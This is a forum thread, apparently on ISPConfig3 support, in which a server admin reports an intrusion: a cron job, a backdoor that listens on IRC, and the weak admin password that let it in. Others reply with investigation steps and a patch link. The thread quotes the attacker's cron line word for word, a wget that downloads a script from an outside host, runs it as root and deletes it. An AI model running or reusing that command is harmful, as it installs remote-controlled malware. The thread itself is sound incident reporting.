Server distro/version: Ubuntu 16.04.3 LTS (Xenial Xerus) ISPConfig3 version: v3.1.2 I discovered yesterday that an Azure VM server we set up a while back - Ubuntu 16.04.3 LTS (Xenial Xerus), ISPConfig v3.1.2 - had an extra cron job that was running every minute: id* * * * * root wget http://digitaloceab.com/ispc -O /tmp/x;sh /tmp/x;rm -rf /tmp/x (note spurious "id" in the cron line, but it still works when executed) The downloaded shell script downloads yet another file, a C source file, that is then compiled and copied to /usr/sbin/innodb. The compiled app opens an IRC channel and listens for commands to be sent. Note that all this runs as root. It appears that when the program was executed on our server by the cronjob, it caused memory exhaustion and Linux tried to recover by using oom_kill.pl. This caused our mysqld to be killed, which was what brought it to our attention. Subsequent investigation of the syslog file led to this discovery. We didn't have intrusion detection running on this server. Additional information: The program, when executed, hides itself as "init" in the process listing (not the true "init"). If you download the shell script and use the link in it to obtain the C source file, you'll find that it is a typical backdoor program that allows you to execute commands on the compromised server using IRC. From my cursory review, it looks like DDOS attacks and file uploads and downloads are possible among several others. What I do not know is how the cron job got added to ISPConfig3. The cron file was created by ISPConfig3 in the usual place (/etc/cron.d) and was named "ispc_web5". I moved that file to a quarantined location. When I commented out the command via ISPConfig3's control panel interface and saved the cron job (to allow continued investigation), the file that was created was "ispc_chrooted_web5". I didn't change ISPConfig3's configuration prior to this, so I'm unsure how the original filename was produced. TLDR; Does anyone know of an exploit like this? There have been no security updates since 3.1.2 that speak of such a thing and none of the issues in the tracker with tags from 3.1.2 onward mention anything like this. Makes me wonder if we have an unpatched ISPConfig3 exploit.
Thank you for your report. We got noticed about this issue yesterday and are currently preparing a patch release to fix this.
Can you provide any clues regarding the attack vector? We don't use cron jobs, for example, and would prefer even a clumsy way to plug the hole while we wait for a patch. This being a root exploit, I consider us lucky that the hacker in our case did not have more imagination.
The attaclker must have a login to your system. First, check the remote user list under system if a remote user has been added there, one attach vector reported to us was by using a weak ispconfig admin password, then adding a remote user and then he used this remote user to add the cronjob. Check if you have a secure password for the admin. You can take a look at the sys_datalog table, the transaction for this cronjob must be in there if it happened in the past 30 days. check which user added it, the information is in that table too. When you don't use cronjobs, then it should be easy to identify the transaction that added this cronjob.
Thank you. A check of that server's ISPConfig3 installation did reveal a very weak password had been used, since it was a prototype set-up initially. That has been corrected, but we'll likely disable cron for the time being, as well. Thanks for the quick reply!
Here is the update: https://www.ispconfig.org/blog/ispconfig-3-1-9-released-important-security-update/
